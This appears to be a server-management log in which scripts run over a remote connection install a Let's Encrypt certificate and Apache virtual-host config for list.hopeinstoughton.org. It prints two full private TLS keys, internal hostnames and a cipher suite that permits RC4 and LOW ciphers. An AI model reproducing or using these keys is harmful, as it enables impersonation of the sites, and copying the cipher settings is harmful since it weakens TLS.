aY4zwqY66uQZDcNh6KhTm5db8H5wGFK7ThEn8O4Fd4JcHLGVMMUK/kcwdThRpo9x
fgVl/lOsEwMUntepHIiX4cszjpYykQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRs5l6mgnaq9+Nc5fdTDtga2rw5/jAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy80NC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJUTOAAAE
AwBHMEUCIQDJBCOdD8j3hzWU8X4WxtL9TaA6Wf25tuhdQQDpFRxgtgIgZ9iaaIAN
Y8t3ReRkXFRxb23Dqs46B/2KDXbhGOrL4E8AfgClyXiSXVdGF4KHDdiJZgtcVWSL
fQBA8uwHaFHRiGkZ9wAAAZsRJUUGAAgAAAUAK2Iq3wQDAEcwRQIhAKvo8E4zoT5t
ZXDITcEBjsh12cLHxWRrKtdX60PCBiQ7AiAb0UXxoU7RZDVBr1cR7kJU4s9kDE5Q
2lThvUyVQiJ9+TANBgkqhkiG9w0BAQsFAAOCAQEAbOWjvzaYqJwNr5loDUOm8mvF
6vdpRSHCTOMcHKIvKq25W+1ycq3HDR7mUpgXvX9DXSRROHT2Xz1kzfrL/2eTRbjV
qiZ8saFnzGEEhQ+brmO887miKil1//ql86WvK5ksTF+6xZmrJYlrXtIXscVriNZA
IXQpkwhKVXQLm/lo4qfYTRBNmsd0qYvZGT8G2Kq6j95AY3GM7jvczDrEz4K0kY05
p2NcgUPy5mhkYDV7WCC2/0fGhc34qooowPmX2iUiQi8L+cqR4wXlO/sJzbl+ZmlO
z1yPyx74bkFGBXOOwsEZZHS6xWERdxkD+0NsQsJIAfddZxLcAgS70VOsqHWjZQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDqxhJU1VWO7xTw
y2DZChfTOYEY/1oZkgtVWGs0hRXPhvG44m7RjjPmcIVJEpTJ+2phGvdRB8Z9zg2m
AzTt4OsxqMAOzwDB7KMVcAw44vJ7C7laoMnKrICJnV88zhI/qP6JCwzvFb4ZLlXA
6wxDwqNPoRYojK34mqr2t11tXDgAB7dvOMgrDatYCnEwVtWhIpvmEYJNhNlj7dHm
Gzj5cI+G2HI4unnDSMFge8Jt3ArxscNCQHKEFMuLUFZpjjPCpjrq5BkNw2HoqFOb
l1vwfnAYUrtOESfw7gV3glwcsZUwxQr+RzB1OFGmj3F+BWX+U6wTAxSe16kciJfh
yzOOljKRAgMBAAECggEBAJJiRAXPKtS/b8AgH1fUujxCq6MJfIVbEWP6iIWrwYiv
LELKNKzGzMePOxvv0QQLli3L4Y8NmQ7SDqKHd1YnGp7RCEdzfJZt1NXGEmjZ4LUl
/0Fp5chQPKkRjdNc7fXxihuq3zqnxOrwgBmUtQX+81LwLt/Dr6nFznmcpU1N5cDl
3Rhu9iK/9ZKR6tv2KHMT8s5MgOqghivKzUok4cHyXn+3mU9p6efrPSzjcB3d6f+b
IKPiHgv8evZxA1VnM1XeIIgo1pnEp1vFjFcKzzA2q9gJiC1CNUyGru0tYrVySkbO
5L5jN19J2lkJdcq2dKjcIYKFyHp87fojolX4ZmolD5ECgYEA9v5Sd040kv5+XJsY
RABf+h8qnGogdWhKgZ1ZYzawc18ozjhqbT8tn5k9s4gsLikgbK3eOg0e2txVux6T
F50Pdz+4k3+GjpyXuuytElt9WYdM3/t+KF5jU+uBQMKNsCuWuKwTwm2C3cPOObmQ
tPIoWeT9bnpQkzuTVW3bofd/l90CgYEA81WtuNeMISxzJ/xmrhZvvIHpYKWbBweU
MjAyq+zcoyL7CBAnsfCpgyVEesg0VunG3qOnELayItvsSvmfVOyziUW1ayOnAENx
64HISWZ1GADCmJp19q2THFNcqwsfMQMX++VbG0S6Fa0EJWqndAarhbXRGxYw8OjV
23SGv9PZFEUCgYEAtJSOYHHKGGp+omA2ZolLoogk1ET3RD+isY8EKnhym3dIUzWG
Aid9yMD2DouRmZIyBaM85X5wP512BJ++9TW8d/gbj6NeEmhEusKNau1/APTd7Khn
vUX9Iv78+gcEJnhH8u7EZ5M/abndzfBw7wpZHBhCfgJpZKva9Uujl5BnNfUCgYBQ
VUTY9TAp84bA+K7dYkLZNPpbEdEwbOwb9ZWE9NmScgX2D39LW2xbA36sGlRNLTie
X+DTv7znjTthNS/I1awf8YeHK2oCyEFfwqTgtpaJqhaUUsoG+h7LBypcvXs6rw7H
9lwxkGrupQPtZlyKDXmq1u+Fxbm6juOrY7jos4PDEQKBgQCgFng8OWBorI7XYBKx
b+MBjAxS91uHtWAfnW5+x2SFQzX16q7C8OFZy+cyMnopdurWg8oG8dvAHsqYLaLb
/jD1XOSW7wSjaV3lGVrblBuDm1ZpbJKHnm2RzrpHXS01AwEMBV4aUSICLKgmkoWd
C7kMTtpvYPDSrX9jRpReKdDWaw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-12 06:00:24: Establishing a connection
2025-12-12 06:00:24: Establishing a connection
2025-12-12 06:00:24: 

PUT: /tmp/pkp549138

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-12 06:00:25: 

chmod 755 /tmp/pkp549138; /tmp/pkp549138; rm /tmp/pkp549138

2025-12-12 06:00:25: 


1


2025-12-12 06:00:25: Establishing a connection
2025-12-12 06:00:26: 

PUT: /tmp/pkp804383

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cat > YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI
cat > 2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs


2025-12-12 06:00:26: 

chmod 755 /tmp/pkp804383; /tmp/pkp804383; rm /tmp/pkp804383

2025-12-12 06:00:26: 




2025-12-12 06:00:40: Establishing a connection
2025-12-12 06:00:40: 

PUT: /tmp/pkp730901

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
rm YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI
rm 2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs


2025-12-12 06:00:40: 

chmod 755 /tmp/pkp730901; /tmp/pkp730901; rm /tmp/pkp730901

2025-12-12 06:00:40: 




2025-12-12 06:00:40: Establishing a connection
2025-12-12 06:00:41: 

PUT: /tmp/pkp508292

#!/bin/bash
temp_file=$(mktemp)
TARGET=625c49c8e1729cb5d0e1dcdf03ddcd68.crt

cat > $temp_file <<'endmsg'
89:f9:2a:55:a9:ad:35:d7:06:14:bf:67:fb:e3:7a:45

-----BEGIN CERTIFICATE-----
MIIFKjCCBBKgAwIBAgISBQs0FWoOadCIu2/N0Lakx9RwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjA5WhcNMjYwMzEyMDUwMjA4WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCy1FLB8yxucrlAcaB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb
7kCAx975uVW/KaH3b/R7PvezLmg1cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1Bn
wmTIau+4LynrrkTY4XCvIMoOKlEORmCrTc92htZunwkjR2lvDXpEPUT3P80Qsvgd
yMwQBrnLAOpvdjyzgSDesqNdB1IeKGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeR
qzpyoATXi2zhyiG8rQH+pf1pUuiCc5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKV
zRWWSOn6Mm+h3qdoTJqXmRkOdnGKXWsiPPYJAgMBAAGjggJGMIICQjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFK3s5EGgewRtx3E29UjMMr42FbL3MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTEzLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmxElqt8AAAQDAEgwRgIhAOzq5bCnHEK3
CgjoYu2lGxMCys8yiGJFhtVUfutfIVmcAiEAvR3nZ7plwtFGUAbuY3BIQE2rfSEv
TMjKkDcMDiNJosUAfQBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAA
AZsRJausAAgAAAUAA/GSDAQDAEYwRAIgcCc49RZLRy2RKWxhoJtTrOan5pRhqk5w
VHSj1WCNa7oCIA52BQjdpeXa1S5oXr4yyhiuSlxr36OXPLDbZqZ4aPdMMA0GCSqG
SIb3DQEBCwUAA4IBAQABuhabAQmaGwaizRKCrqSxh0c6f/fKAPL+D/Cs0yeA0z3d
FzClA6EjnICY2NDHOvxuUtkppArNhZ4Qp/2jRZm3XubCYAhOGIPj9rijegFKn6ce
WSV6f5T6pJIAloL9k4tLv6dsGBngJSoBj0XNmzKOznTkrDwe1QKGJi7EBlN5BFTb
9DNeHybZkIBfROwZZTnD3O74zJT4z2Sx0EEhabhAkjI6MycNmZOXNx573TXR6jN0
nxr1LyL0Hk095kyR9pvNEEmeHmiySGEl7niAILJZTdX8owJcpi0ubOPbWzixT0wP
A9fE6LJxMRZNmMLwc27BPBJYWK+CGZ1ohpoF7oqd
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCy1FLB8yxucrlA
caB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb7kCAx975uVW/KaH3b/R7PvezLmg1
cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1BnwmTIau+4LynrrkTY4XCvIMoOKlEO
RmCrTc92htZunwkjR2lvDXpEPUT3P80QsvgdyMwQBrnLAOpvdjyzgSDesqNdB1Ie
KGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeRqzpyoATXi2zhyiG8rQH+pf1pUuiC
c5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKVzRWWSOn6Mm+h3qdoTJqXmRkOdnGK
XWsiPPYJAgMBAAECggEAYc3T8TVQ8JsYDFHYw8cDJHaK+sSOht2Km3ErViAAYNWx
AxS8I5B7gLNPlN6zMdjQN2bonFtE15+i6M/No3pl4IjlAU4NdOz+59SrpmOWD2Gh
17SORiFAQ4iQ0Pgigj6OctthaLaTK4ojSJ5fEnF87MM0Fc4vDjdpR45kd1vXEy3L
2RF8weQUnar+EwwhKBYNUE8gDeCTAlKl55VNMWLBthD39+L3SlyTv0ur5wjB1MJE
RF/vNwkg2tY8zy2HRIZf0Eo/k/Zy4pnSi5S88/Xfs2LxeiEjzPU7fiS+13ndqnrl
qVYYaEz3ZR4fAQgtdmoKYW43XLkdscMqWUzty8gzPQKBgQDor3jS+OYVUPUZrvvg
FfU7HEEJyEaywoXmRXOVGQdaN0xgIsKC+aGdGSuGTxir1MJE55oiKEUgNPZUI/N8
o7UV8GDsqa6BDyvOvhaB2XYi7U30Q67rs/G59BviMECilSW1HiGPm+ZXystEAQfM
h9Z4DfORuCgYhvi/SEGE9hR+HwKBgQDEv2jiofZF24w+3gfTD1Kr6OIcGCNwiVLf
oMYaTKBbuQPfGA5pqu/tu0mUMWUDXxz7t5COy09DKLxBaGs3s0+IGOBFmQhDlcrt
wr1+Tqjent/FeUPzSuvEuyCVjJsRGjA1ZSKcwq6OLxmn5LszNsamKTnpASZDMiuq
q3oMNQO21wKBgHYv6qb+VZ+uJ1CMWNNRU+ZaS460c3SI6Yo07Khmth1UyS5reXEd
asFo73qg4l8lCigFm3yOB858GEJUoHBGlsw19IVBCqnzEsVIOBZsZl0HO/k+B7Mh
Cz7whtk0uR/bsfN1Aob3IOCm2OgJvfRdaspAC9+QMo2CwQYnpV/rvizxAoGBALg7
ZEOT1cBkbVcRIdKJLqi7Ub9s+wKOFIRDUD2gMyiwfueQ5y4bWsAJ+EREXIpjrggn
Q73ysy34HxBAbuWhin+ui5OgURS4V2V8TWTQ02Bi9Lc9bluLdGqrrz9agnnpQ+s7
4MVZp4qMoEGO9ZxnVmyRfiCpauLRQAJ4v7hejDPRAoGBAIWFZv5w5jLj1NAQ/vEq
LLZRFrlFLFbXwyuDR3WSduUARUSBwfqi/wxZkIgW6QIvfSWqqjlmPd4AxIfprHwX
62Yg47DQNoyF+C7RT8qvMnZ4Xs8X5KKrwzXKpl4WTuAtFxFVoukzNkDux5ZM7SL2
nNO3NdRViF4/O6JZpnMTPEmh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-12 06:00:41: 

chmod 755 /tmp/pkp508292; /tmp/pkp508292; rm /tmp/pkp508292

2025-12-12 06:00:41: 


dir=/etc/ssl/certs


2025-12-12 06:00:41: 

PUT: /tmp/pkp769397

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-12 06:00:41: 

chmod 755 /tmp/pkp769397; /tmp/pkp769397; rm /tmp/pkp769397

2025-12-12 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 58

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-12 06:00:41: 

PUT: /tmp/pkp358862

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_list_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf= 1'
fi


2025-12-12 06:00:41: 

chmod 755 /tmp/pkp358862; /tmp/pkp358862; rm /tmp/pkp358862

2025-12-12 06:00:41: 




2025-12-12 06:00:41: 

PUT: /tmp/pkp373461

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-12 06:00:41: 

chmod 755 /tmp/pkp373461; /tmp/pkp373461; rm /tmp/pkp373461

2025-12-12 06:00:41: 


.


2025-12-12 06:00:41: Establishing a connection
2025-12-12 06:00:41: 

PUT: /tmp/pkp476382

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-12 06:00:41: 

chmod 755 /tmp/pkp476382; /tmp/pkp476382; rm /tmp/pkp476382

2025-12-12 06:00:41: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
